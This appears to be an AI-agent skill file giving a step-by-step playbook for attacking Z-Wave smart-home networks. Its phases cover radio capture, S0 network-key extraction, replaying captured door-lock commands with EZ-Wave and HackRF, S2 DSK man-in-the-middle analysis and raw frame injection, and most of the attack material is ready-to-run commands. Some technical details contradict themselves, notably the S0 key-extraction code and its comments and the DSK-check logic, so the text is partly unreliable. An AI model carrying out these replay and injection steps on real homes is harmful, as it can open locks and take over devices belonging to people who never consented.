AGENT SKILL

z-wave

Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.

License 许可
Apache-2.0
所属仓库
Akapi895/raptix
最近更新
2026-11-06
Stars
★ 0
Forks
0

01 前言 Front Matter

name
z-wave
metadata
{ "tags": "z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz", "subdomain": "iot", "when_to_use": "Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key", "mitre_attack": "T1040, T1557, T1190, T1078" }
description
Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.
allowed-tools
Bash Read Write

03 SKILL.md 正文

Z-Wave S0/S2 Security Assessment

Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITM'd if the controller UI does not enforce out-of-band DSK verification.

Prerequisites

  • Hardware:
    • RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
    • HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
    • OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave controller, for EZ-Wave / Z-Force active work).
  • Software: gr-zwave (GNU Radio Z-Wave OOK decoder), EZ-Wave, Z-Force / zniffer, Scapy with Z-Wave layer.
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.

Z-Wave Frequency Reference

Region Primary frequency Fallback
EU / UK 868.42 MHz 869.85 MHz
US / CA 908.42 MHz 916.0 MHz
JP 922–926 MHz —
AU / NZ 919.8 MHz 921.4 MHz

Set your SDR to the correct region frequency.

Phase 1: Passive Capture with RTL-SDR + gr-zwave

# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc

# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq

Capture traffic during an inclusion event (when a new device is added to the controller) — S0 key transport happens in plaintext at this moment.

Phase 2: S0 Key Extraction During Inclusion

S0 inclusion sequence:

  1. Controller sends NETWORK_KEY_SET with the 16-byte network key XOR'd with the Z-Wave default key 0x00×16.
  2. Node acknowledges with NETWORK_KEY_VERIFY.

Since the default key is all-zeros, the XOR is trivially reversible:

DEFAULT_KEY = b'\x00' * 16  # Z-Wave S0 default key

def extract_s0_key(key_set_payload: bytes) -> bytes:
    """
    key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
    """
    return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
    # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.

# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.

Use Scapy Z-Wave layer to parse frames from pcap:

# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt

Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)

Devices that joined with no security class (very common on older gear) accept any RF frame addressed to their NodeID. EZ-Wave replay:

# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin

# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin

With HackRF + GNU Radio for raw OOK replay:

# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40

# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47

Phase 4: S2 DSK MITM Analysis

S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit PIN printed on the device label) is used for bootstrapping the ECDH exchange. Attack vectors:

  1. MITM if DSK not verified: if the controller software auto-accepts the DSK without prompting the user to verify, a spoofed node can substitute its own public key.

  2. Physical DSK exposure: the DSK is printed on a label or QR code on the device. If the attacker had physical access (supply chain, retail), they can record DSKs and later include the device under their own controller.

# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:
# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.
# Extract the node's public key (32 bytes) from the Z-Wave Application
# Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT".

# Cross-check with the DSK:
# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).
# If auto-granted, the controller accepted without verifying remaining 14 bytes.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
    pk_bytes = bytes.fromhex(public_key_hex)
    dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
    return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]

Phase 5: Z-Force Active Fuzzing

Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows injecting arbitrary Z-Wave frames via the USB Z-Wave controller:

# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF  # Switch ON

# Enumerate all nodes in range (broadcast NodeID 0xFF):
zforce scan --freq 908420000

# Replay a captured BASIC_SET frame:
zforce replay --file /tmp/basic_set.zwave --node 5

Evidence

EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_record(
    '[{"kind": "Finding", "key": f"z-wave::s0::{home_id}",'
    '  "label": f"Z-Wave S0 network key extracted NodeID={node_id}",'
    '  "props": {"home_id": home_id,'
    '            "node_id": node_id,'
    '            "s0_network_key_hex": s0_key.hex(),'
    '            "security_class": "S0",'
    '            "frequency_mhz": 908.42,'
    '            "source": "gr-zwave+ezwave"}}]'
)

OPSEC Notes

  • Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies the network. Capture any frame to determine HomeID.
  • Replay of door lock commands is a physical security event. Only perform with owner consent and a documented rollback plan (alternate entry method).
  • RTL-SDR is receive-only — zero RF emission from capture phase.
  • HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer) if the operator has one deployed; most consumer smart-home installs do not.
  • S2 with ACCESS or AUTHENTICATED class and manual DSK verification is resistant to all MITM techniques described here; document as hardened.

References

04 同仓库更多 Skills